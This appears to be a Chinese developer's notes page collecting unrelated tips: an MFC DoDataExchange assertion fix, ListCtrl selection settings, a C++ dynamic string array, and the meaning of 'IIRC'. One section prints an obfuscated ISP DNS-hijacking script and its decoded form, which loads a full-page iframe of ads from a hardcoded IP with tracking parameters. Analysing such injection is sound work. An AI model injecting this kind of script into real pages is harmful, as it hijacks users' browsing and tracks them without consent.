word as image by Ji Lee
gamarjobat喜剧魔术
Debug Assertion Failed! f:\sp\vctools\vc7libs\ship\atlmfc\src\mfc\dlgdata.cpp Line: 42
--------------------------- Microsoft Visual C++ Debug Library --------------------------- Debug Assertion Failed! Program: d:\dev\debug\Qzone2WP.exe File: f:\sp\vctools\vc7libs\ship\atlmfc\src\mfc\dlgdata.cpp Line: 42 For information on how your program can cause an assertion failure, see the Visual C++ documentation on asserts. (Press Retry to debug the application) --------------------------- 终止(A) 重试(R) 忽略(I) ---------------------------
问题的原因是在界面上删除了相应的Control,但是没有删掉相应的DDV
void CQzone2WPDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_USERLIST, m_userList); //delete this line!
}
Fung Brothers – Wanking In The Dorm Room
歌歌词尽然很上口 = =#
IIRC
(informal) If I remember correctly, if I recall correctly
http://en.wiktionary.org/wiki/IIRC
initialism — An abbreviation that is formed from the initial letters of a sequence of words. Initialisms that are pronounced as words, such as UNICEF, are usually called acronyms, so the term initialism is generally only used for those that are pronounced letter by letter, such as USA.
http://en.wiktionary.org/wiki/Appendix:Glossary#initialism
ListCtrl失去焦点也总是选定状态
在资源视图中勾选ListCtrl的Always Show Selection,也就是相当在给CONTROL加了一个样式:LVS_SHOWSELALWAYS。
m_userList.SetFocus(); m_userList.SetItemState(iIndex, LVIS_SELECTED|LVIS_FOCUSED, LVIS_SELECTED|LVIS_FOCUSED);
如以上代码所示,ListCtrl必须先获取焦点。
重庆联通DNS劫持代码玩加密了
<script>var d="=iunm?=ifbe?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#?gvodujpo!mpbeBuusjcvuf)*|wbs!g>epdvnfou/hfuFmfnfouCzJe)#g#*<wbs!tfswfs>#iuuq;0069/28/274/249;91#<wbs!sfrvjsfe>#beje>311294'uddb>[IOtNUFyNEJzNEV5OB>>'vsjq>5646636:2'psmv>bIS1dEpwM4embXKwMnOwcR>>'tqje>2547571641'bsfb>:6'ut>243721:793#<jg)tfmg/epdvnfou/mpdbujpo>>xjoepx/epdvnfou/VSM!''!epdvnfou/cpez/dmjfouXjeui?>411!''!epdvnfou/cpez/dmjfouIfjhiu?>411*|g/tsd>tfswfs,#0b0t@g";function i(_,__){_+=__;var $="";for(var u=0;u<_.length;u++){var r=_.charCodeAt(u);$+=String.fromCharCode(r-1);}return $;} var c=">betuzmf`nto/iunm'#,sfrvjsfe,#'bpsmv>bIS1dEpwM{V5MkF4MkF3Nz5yN{h7PEBwNkBxNUh{Mx>>'q2bsn>311'q3bsn>411'q4bsn>26'q5bsn>6'q6bsn>4'q7bsn>1'bqqe>1'ibtDpvou>1'ibtXijufVtfs>1#<~fmtf|g/tsd>tfswfs,#0b0q@#,sfrvjsfe,#'qvtiGmbh>1#<~~=0tdsjqu?=0ifbe?=cpez!pompbe>#mpbeBuusjcvuf)*#!sjhiuNbshjo>1!upqNbshjo>1!mfguNbshjo>1!tdspmm>op?=jgsbnf!je>#g#!gsbnfCpsefs>1!xjeui>211&!ifjhiu>211&!tdspmmjoh>bvup!tsd>##?=0jgsbnf?=0cpez?=0iunm?";alert(i(d,c));</script>
把最后的document.write修改为alert,解密代码如下:
<html><head><script type="text/javascript">function loadAttribute(){var f=document.getElementById("f");var server="http://58.17.163.138:80";var required="adid=200183&tcca=ZHNsMTExMDIyMDU4NA==&urip=453552591&orlu=aHR0cDovL3dlaWJvLmNvbQ==&spid=1436460530&area=95&ts=1326109682";if(self.document.location==window.document.URL && document.body.clientWidth>=300 && document.body.clientHeight>=300){f.src=server+"/a/s?f=adstyle_msn.html&"+required+"&aorlu=aHR0cDovLzU4LjE3LjE2My4xMzg6ODAvMjAwMTgzLw==&p1arm=200&p2arm=300&p3arm=15&p4arm=5&p5arm=3&p6arm=0&appd=0&hasCount=0&hasWhiteUser=0";}else{f.src=server+"/a/p?"+required+"&pushFlag=0";}}</script></head><body onload="loadAttribute()" rightMargin=0 topMargin=0 leftMargin=0 scroll=no><iframe id="f" frameBorder=0 width=100% height=100% scrolling=auto src=""></iframe></body></html>
C++动态声明字符串二维数组
int rows=10;
int cols=20;
WCHAR** titleW = new WCHAR*[rows];
for (int i = 0; i < rows; i++)
{
titleW[i] = new WCHAR[cols];
}
C语言是同样的道理,把new修改为malloc
MFC中有CStringArray可用,不过注意,函数返回类型是CStringArray时,必须是返回引用。因为没有拷贝构造函数。